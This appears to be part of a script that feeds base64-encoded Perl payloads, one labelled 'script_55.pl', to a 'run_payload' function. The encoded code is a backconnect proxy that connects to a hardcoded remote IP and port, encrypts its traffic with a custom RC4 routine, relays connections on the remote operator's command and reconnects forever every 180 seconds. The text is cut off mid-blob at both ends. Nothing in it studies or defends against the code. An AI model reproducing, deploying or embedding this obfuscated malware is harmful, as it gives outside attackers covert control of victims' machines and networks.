QgKyAkcnNpLCAxKSA9IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpKSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkgJHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYgKCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkpOwoJCSAKCQkgJHQgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHBvY2tlbW9uMiwgMSkpOwoKCQkgJHBvY2tlbW9uMSArPSAkdDsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCSAkcG9ja2Vtb242ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb242KTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24yLCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJCSAkcG9ja2Vtb244ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9uOCk7CgkJIAoJCQkgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjcpOwoKCQkJICRwb2NrZW1vbjggKz0gJHBvY2tlbW9uNzsKCQoJCQkgJHBvY2tlbW9uOCA9ICRwb2NrZW1vbjggJiAyNTU7CgoJCQkgJHBvY2tlbW9uMCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb244LCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjUgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkpOwoKCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsKCQkJIAoJCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjUpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpID0gcGFjaygnQycsICh1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkpIF4gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRyYngsIDEpKSkpOwoJCSAKCQkgJHJzaSsrOwoJCQoJCSAkcmJ4Kys7CgkJCgkJICRyY3gtLTsKCQkKCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgewoJCQkgCgkJCSAkcmJ4ID0gMDsKCQl9CgkJIAoJfSB3aGlsZSgkcmN4ID4gMCk7CgkKfQoKc3ViIGJjY25jdCB7CgoJIG15ICRob3N0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRwb3J0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyZW1haW5pbmcgPSAwOwoJIAoJIG15ICRyZW1haW5pbmc0ID0gMDsKCSAKCSBteSAkZG9tYWluOwoJIAoJIG15ICRwb3J0MDsKCSAKCSBteSBAc29ja2V0YXJyOwoJIAoJIG15IEBzb2NrZXRhcnJheTsKCSAKCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOwoJIAoJIG15ICRidWZmZXJudWxsID0gIlx4MDAiIHggMzsKCSAKCSBteSAkYnVmZmVyMCA9ICcnOwoJIAoJIG15ICRpc0V4aXQgPSAwOwoJIAoJIG15ICRfcmV0MCA9IDA7CgkgCgkgbXkgJGVjeCA9IDA7CgkgCgkgbXkgJGVheCA9IDA7CgkgCgkgbXkgJGRhdGEgPSAnJzsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCSAKCSBteSAkcmVzcG9uY2UgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCSAKCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGluZXRfYXRvbigkJGhvc3QpKTsKCSAKCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9CgkgCgkgc3Vic3RyKCRidWZmZXIsIDAsIDUwKSA9ICR4b3JkYXRhOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1MCwgMikgPSAiXHhGRlx4RkYiOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsKCSAKCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7CgkgCgkgc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSAnJzsKCgkJCQkJIHJlY3YoJHNvY2tldGFyclskaV0sICRkYXRhLCA2NTUzMCwgMCk7CgkJCQkgCgkJCQkJIHVubGVzcyAoJGRhdGEpIHsKCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsKCQkJCQkgCgkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRpXSk7CgkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGkpLiJceDAwXHgwMCI7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgc3Vic3RyKCRyZXNwb25jZSwgMCwgMyksIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCSAKCQkJCQkJICRidWZmZXIgPSBwYWNrKCdDJywgJGkpLnBhY2soJ1MnLCBsZW5ndGgoJGRhdGEpKS4kZGF0YTsKCQkJCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgMywgbGVuZ3RoKCRkYXRhKSk7CgkJCQkgCgkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMSk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJIAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJICRjb3VudGVyKys7CgkJCQkgCgkJCQkgaWYgKCRjb3VudGVyID09IDEwICogNjApIHsKCQkJCQkgCgkJCQkJICRjb3VudGVyID0gMDsKCgkJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsKCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkgCgkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIE1TR19OT1NJR05BTCk7CgkJCQkgfQoJCQkJIAoJCQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJlbWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxhc3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAwICYmICRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkgCgkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJCQkJIAoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpID0gcGFjaygnQycsICRlYngpLiJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJCQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEpOwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRyZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJCQkgCgkJCQkJCSAkX3JldDAgPSAwOwoJCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJGVieCkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsKCQkJCQkJIAoJCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgNywgMSkpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4LCAxKSkpOwoJCQkKCQkJCQkJCSAkcG9ydDAgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDgsIDEpKSArIDEsIDEpLnN1YnN0cigkYnVmZmVyMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCwgMSkpICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2lmICh1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDcsIDEpKSA9PSAxKSB7CgkJCQoJCQkJCQkJICRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpKSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSkpLCB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDMsIDEpKSk7CgkJCQoJCQkJCQkJICRwb3J0MCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2UgewoJCQkKCQkJCQkJCSBnb3RvIGNsb3NlXzsKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCQkgZXZhbCB7CgkJCSAKCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCQkJCQkgY29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoJCSAKCQkJCQkJCSB2ZWMobXkgJHdpbiA9ICcnLCBmaWxlbm8oJHNvY2tldGFyclskZWJ4XSksIDEpID0gMTsKCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoJCQkKCQkJCQkJCSBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX1NFVEZMLCBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX0dFVEZMLCAwKSBeIE9fTk9OQkxPQ0spOwoJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCQkJCQkgJF9yZXQwID0gMTsKCQkJIAoJCQkJCQkgfTsKCQkgCgkJCQkJCSBjbG9zZV86CgkJCQkJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMywgMTApOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsKCQkJCQkJCSAKCQkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCSAKCQkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGVieCkuIlx4MDBceDAwIjsKCQkgCgkJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkJIAoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsKCQkJCQkJIAoJCQkJCQkgc2VuZCgkc29ja2V0YXJyWyRlYnhdLCBzdWJzdHIoJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSAKCQkJCQl9CgkJCQkJIAoJCQkJCSAkcmVtYWluaW5nID0gMDsKCQkJCX0KCQkJCQoJCQl9CgkJCSAKCQkJICRyZW1haW5pbmc0ID0gMDsKCQkJIAoJCX0KCQkKCQllbHNlIHsKCQkJCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gMCkgeyAkYnVmZmVyMCA9ICcnOyB9CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSAnJzsKCQkJIAoJCQkgcmVjdigkc29ja2V0YXJyWzBdLCAkZGF0YSwgJGVheCwgMCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSBsZW5ndGgoJGRhdGEpOwoJCQkgCgkJCSAkYnVmZmVyMCAuPSAkZGF0YTsKCQkJIAoJCQkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIpKTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7CgoJCSBpZiAoJHNvY2tldGFycmF5WyRpXSA9PSAxKSB7IGNsb3NlKCRzb2NrZXRhcnJbJGldKTsgfQoJCSAKCSB9CgkgCgkgaWYgKCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgkgCgkgc2xlZXAgMTgwOwp9"

# script_55.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBJTzo6U29ja2V0Owp1c2UgSU86OlNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7CnVzZSBGY250bCBxdyhGX0dFVEZMIEZfU0VURkwgT19OT05CTE9DSyk7CgpteSAkaG9zdCA9ICc2Mi42MC4xMzEuMTk3JzsKbXkgJHBvcnQgPSA0MDAxOwoKbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsKCmZvciAobXkgJGkgPSAwOyAkaSA8IDUwOyAkaSsrKSB7IHN1YnN0cigkeG9yZGF0YSwgJGksIDEpID0gcGFjaygnQycsIHJhbmQoMjU1KSk7IH0KCnN1YiBSYzRfY3J5cHQgewoJIAoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkbGVuZ3RoID0gc2hpZnQoQF8pOwoJIAoJIG15ICRidWZmMCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN6ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyYzQgPSAiXHgwMCIgeCAyNTY7CgkgCgkgbXkgJHBvY2tlbW9uMCA9IDA7CgkKCSBteSAkcG9ja2Vtb24xID0gMDsKCQoJIG15ICRwb2NrZW1vbjIgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMyA9IDA7CgkKCSBteSAkcG9ja2Vtb240ID0gMDsKCQoJIG15ICRwb2NrZW1vbjUgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNiA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2NrZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkgJHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSBteSAkdCA9IDA7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDw9IDI1NTsgJGkrKykgeyBzdWJzdHIoJHJjNCwgJGksIDEpID0gcGFjaygnQycsICRpKTsgfQoJIAoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpKSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkgJHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYgKCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkpOwoJCSAKCQkgJHQgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHBvY2tlbW9uMiwgMSkpOwoKCQkgJHBvY2tlbW9uMSArPSAkdDsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCSAkcG9ja2Vtb242ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb242KTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24yLCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJCSAkcG9ja2Vtb244ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9uOCk7CgkJIAoJCQkgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjcpOwoKCQkJICRwb2NrZW1vbjggKz0gJHBvY2tlbW9uNzsKCQoJCQkgJHB